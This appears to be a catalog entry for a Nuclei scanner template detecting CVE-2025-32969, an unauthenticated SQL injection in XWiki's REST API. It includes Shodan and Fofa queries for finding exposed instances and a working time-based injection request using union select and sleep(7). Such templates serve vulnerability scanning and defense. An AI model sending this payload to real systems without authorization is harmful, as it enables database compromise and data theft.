CVE-2025-32969: XWiki REST API Query - SQL Injection
- Template: CVE-2025-32969
- Name: XWiki REST API Query - SQL Injection
- Description: A SQL injection vulnerability exists in XWiki's REST API query endpoint. An unauthenticated attacker can execute arbitrary SQL queries through the 'q' parameter by manipulating the HQL query, potentially leading to data exfiltration or system compromise.
- Impact: Unauthenticated attackers can execute arbitrary SQL queries through the REST API query endpoint, potentially leading to complete database compromise and data exfiltration.
- Remediation: Upgrade to the latest XWiki version that properly sanitizes HQL query parameters in the REST API.
- Severity: critical
- Authors: ritikchaddha
- Tags: cve, cve2025, xwiki, sqli, rest-api, vkev, vuln
- References: https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-f69v-xrj8-rhxf, https://nvd.nist.gov/vuln/detail/CVE-2025-32969
- Cves: CVE-2025-32969
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-32969.yaml
- Digest: 4b0a00483046022100d01f1c445f4481833af5a0a75df9484e65514a4aee6fd06b1241bedd16a3bb5e022100960fbf7d65a6a849285d3111f6e017683f7f303d7dd1592c05e2af72ece3ff6a
- Created at: 2025-08-30T14:48:53Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 451
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-32969.yaml
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.80009
- Epss percentile: 0.99623
- Cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="data-xwiki-reference"
- Max-request: 1
- Product: xwiki
- Shodan-query: html:"data-xwiki-reference"
- Vendor: xwiki
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| xwiki:xwiki | yes | /v1/products/xwiki/xwiki |
Labels
- Name: XWiki - SQL Injection
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion, including sensitive information like password hashes.
- Remediation: Upgrade to version 16.10.1, 16.4.6, or 15.10.16 or later.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-32969
- Not known: requirements
```yaml
id: CVE-2025-32969
info:
name: XWiki REST API Query - SQL Injection
author: ritikchaddha
severity: critical
description: |
A SQL injection vulnerability exists in XWiki's REST API query endpoint. An unauthenticated attacker can execute arbitrary SQL queries through the 'q' parameter by manipulating the HQL query, potentially leading to data exfiltration or system compromise.
impact: |
Unauthenticated attackers can execute arbitrary SQL queries through the REST API query endpoint, potentially leading to complete database compromise and data exfiltration.
remediation: |
Upgrade to the latest XWiki version that properly sanitizes HQL query parameters in the REST API.
reference:
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-f69v-xrj8-rhxf
- https://nvd.nist.gov/vuln/detail/CVE-2025-32969
classification:
cve-id: CVE-2025-32969
epss-score: 0.80009
epss-percentile: 0.99623
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2025,xwiki,sqli,rest-api,vkev,vuln
http:
- raw:
- |
@timeout: 20s
GET /rest/wikis/xwiki/query?q=where%20doc.name=length(%27a%27)*org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%201,2,3,sleep(7)%20%23%27&type=hql&distinct=0 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code==200'
- 'contains_all(body, "WikiManager", "<?xml")'
condition: and
digest: 4b0a00483046022100d01f1c445f4481833af5a0a75df9484e65514a4aee6fd06b1241bedd16a3bb5e022100960fbf7d65a6a849285d3111f6e017683f7f303d7dd1592c05e2af72ece3ff6a:922c64590222798bb761d5b6d8e72950
```